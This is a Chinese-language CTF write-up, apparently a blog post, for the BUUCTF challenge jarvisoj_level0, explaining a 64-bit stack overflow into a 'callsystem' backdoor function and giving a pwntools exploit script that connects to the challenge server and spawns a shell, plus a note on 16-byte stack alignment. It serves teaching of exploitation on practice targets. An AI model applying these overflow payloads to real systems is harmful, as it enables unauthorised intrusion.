BUUCTF jarvisoj_level0 1

目录

一、分析

查看文件信息

关键信息

  • 64位程序
  • 栈不可执行

IDA64反汇编

进入第一个函数

栈溢出
shift + F12查找字符串

点进去

发现是一个后门函数

二、EXP

csharp 复制代码
from pwn import *

context.arch = 'amd64'
# p = process("/tmp/pwn/level0")
p = remote("node4.buuoj.cn",28644)
elf = ELF("/tmp/pwn/level0")
callsystem = elf.symbols['callsystem']
p.sendline(flat([b"a"*128, 'a'*8, callsystem]))

p.interactive()

三、本地打不通?远程能打通?

修改代码处

csharp 复制代码
p.sendline(flat([b"a"*128, 'a'*8, callsystem + 1]))

为什么地址地址 + 1就可以执行了呢?

👉参考该文章

64位ubuntu18以上系统调用system函数时是需要栈对齐的。再具体一点就是64位下system函数有个movaps指令,这个指令要求内存地址必须16字节对齐

跳过了push rbp之后,rsp就少压栈了8字节,此时栈16位对齐

相关推荐
网云工程师手记6 小时前
DDNS-Go部署与使用体验:动态公网IP远程访问不再断
运维·服务器·网络·网络协议·网络安全
unable code7 小时前
内存取证-easy_mem_1
网络安全·ctf·misc·1024程序员节·内存取证
网云工程师手记12 小时前
防火墙接口配置与运维实战(通用版)
运维·服务器·网络·网络协议·网络安全
枷锁—sha16 小时前
【SRC】前后端分离与API接口渗透
服务器·网络·安全·网络安全·系统安全
Whoami!18 小时前
⓬⁄₄ ⟦ OSCP ⬖ 研记 ⟧ Linux权限提升 ➱ Linux系统枚举-Ⅳ
网络安全·信息安全·自动化枚举·linux枚举
网云工程师手记18 小时前
防火墙安全区域划分规范与接口配置实操指南
运维·服务器·网络·安全·网络安全
禾木KG1 天前
网络安全-4 《中华人民共和国网络安全法》-2025年10月28日修正(共七章八十一条)
网络安全
0xSec笔记本挖呀瓦呀挖1 天前
Windows后门应急(二)--计划任务后门分析与处置|Windows取证分析
windows·安全·web安全·网络安全·系统安全·网络攻击模型·安全威胁分析
网云工程师手记2 天前
企业防火墙端口映射完整配置与安全收敛实操手册
运维·服务器·网络·安全·网络安全
瘾大侠2 天前
HTB 赛季10 - Pterodactyl - user
网络·安全·web安全·网络安全